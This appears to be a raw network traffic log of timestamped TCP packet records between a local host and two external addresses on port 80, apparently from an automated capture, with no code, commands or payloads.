Dec 16, 2024 17:02:27.997935057 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.997987986 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.998347998 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.998398066 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.998452902 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.998464108 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.998496056 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.998509884 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.998797894 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.998838902 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.999346972 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.999388933 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.999438047 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.999449015 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.999485016 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.999842882 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.999886990 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.000334978 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.000377893 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.000463009 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.000473022 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.000503063 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.000514984 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.000809908 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.000850916 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.001085997 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.001127005 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.001267910 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.001279116 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.001310110 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.001328945 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.001646042 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.001687050 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.001930952 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.001972914 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.002046108 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.002058029 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.002085924 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.002116919 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.002408981 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.002449989 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.002783060 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.002835035 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.002964973 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.002978086 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.003011942 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.003050089 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.003438950 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.003487110 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.003798962 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.003853083 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.004034042 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.004055977 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.004080057 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.004095078 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.004336119 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.004384995 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.004683971 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.004725933 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.004803896 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.004816055 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.004848957 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.004863024 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.005058050 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.005101919 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.005486012 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.005558968 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.005605936 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.005618095 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.005647898 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.005661011 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.005974054 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.006015062 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.006359100 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.006402969 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.006494045 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.006505013 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.006540060 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.006827116 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.006871939 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.007225037 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.007265091 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.007348061 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.007359028 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.007395029 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.007733107 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.007776022 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.008116961 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.008158922 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.008250952 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.008261919 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.008357048 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.008610964 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.008656979 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.009073019 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.009124994 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.009160042 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.009177923 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.009211063 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.009223938 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.009567976 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.009614944 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.009902000 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.009949923 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.010032892 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.010045052 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.010077953 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.010390997 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.010432005 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.010819912 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.010863066 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.010929108 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.010941982 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.010993004 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.011008024 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.011333942 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.011380911 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.011670113 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.011718035 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.181340933 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.181480885 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.181493998 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.181549072 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.181597948 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.181826115 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.182075977 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.182089090 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.182145119 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.182156086 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.182459116 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.182473898 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.182565928 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.182678938 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.182764053 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.182786942 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.182801008 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.182849884 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.182849884 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.183192015 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.183370113 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.183422089 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.183509111 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.183521032 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.183549881 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.183578014 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.183774948 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.184041977 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.184087038 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.184149981 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.184161901 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.184194088 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.184220076 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.184498072 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.184917927 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.184967041 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.185046911 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.185059071 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.185091972 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.185116053 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.185431004 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.185833931 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.185894012 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.185980082 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.185991049 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.186022043 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.186054945 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.186320066 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.186747074 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.186798096 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.186894894 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.186918974 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.186953068 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.186980963 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.187167883 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.187544107 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.187581062 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.187623024 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.187726021 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.187737942 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.187767982 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.187781096 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.188071012 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.188556910 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.188601017 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.188652039 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.188671112 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.188715935 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.189227104 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.189265013 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.189265013 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.189558983 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.189685106 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.189694881 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.189749002 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.189771891 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.189944029 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.190325022 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.190372944 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.190464973 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.190476894 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.190510035 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.190541029 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.190762997 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.191037893 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.191154003 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.191199064 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.191348076 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.191360950 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.191391945 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.191420078 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.191428900 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.191667080 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.192209005 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.192255020 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.192261934 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.192265987 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.192301035 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.192328930 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.192531109 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.192964077 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.193007946 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.193053961 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.193064928 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.193099022 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.193125963 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.193439960 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.193861961 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.193907022 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.193972111 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.194010973 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.194154978 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.194175005 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.194192886 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.194209099 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.194689989 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.194735050 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.194839001 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.194849968 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.194890976 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.195204020 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.195249081 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.195570946 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.195621014 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.195703983 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.195714951 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.195745945 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.195760012 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.196130037 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.196600914 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.196660995 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.196715117 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.196727037 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.196768045 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.196783066 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.197077036 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.197448969 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.197490931 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.197529078 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.197540045 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.197566986 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.197593927 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.197958946 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.198441029 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.198494911 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.198529959 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.198542118 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.198576927 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.198616982 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.198895931 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.199233055 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.199284077 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.199369907 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.199382067 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.199415922 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.199440002 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.199661970 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.199882030 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.200037003 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.200079918 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.200148106 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.200159073 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.200185061 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.200201035 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.200551033 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.201003075 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.201061010 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.201087952 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.201101065 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.201159954 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.201438904 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.201478958 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.201863050 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.201905012 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.202027082 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.202039003 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.202068090 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.202085972 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.202373981 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.202898026 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.202949047 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.203007936 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.203020096 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.203043938 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.203072071 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.203337908 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.203603983 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.203654051 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.203737020 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.203748941 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.203828096 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.203829050 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.282092094 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.282264948 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.282275915 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.282387972 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:28.282407045 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.282418966 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.282450914 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:28.282749891 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.282759905 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.282813072 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:28.283039093 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.283049107 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.283060074 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:28.283091068 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:28.283102989 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:28.373464108 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.373501062 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.373512030 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.373518944 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.373558044 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.373799086 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.373838902 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.373997927 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.374008894 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.374059916 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.374222040 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.374304056 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:28.374346972 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:28.374521017 CET	80	49712	31.41.244.11	192.168.2.8
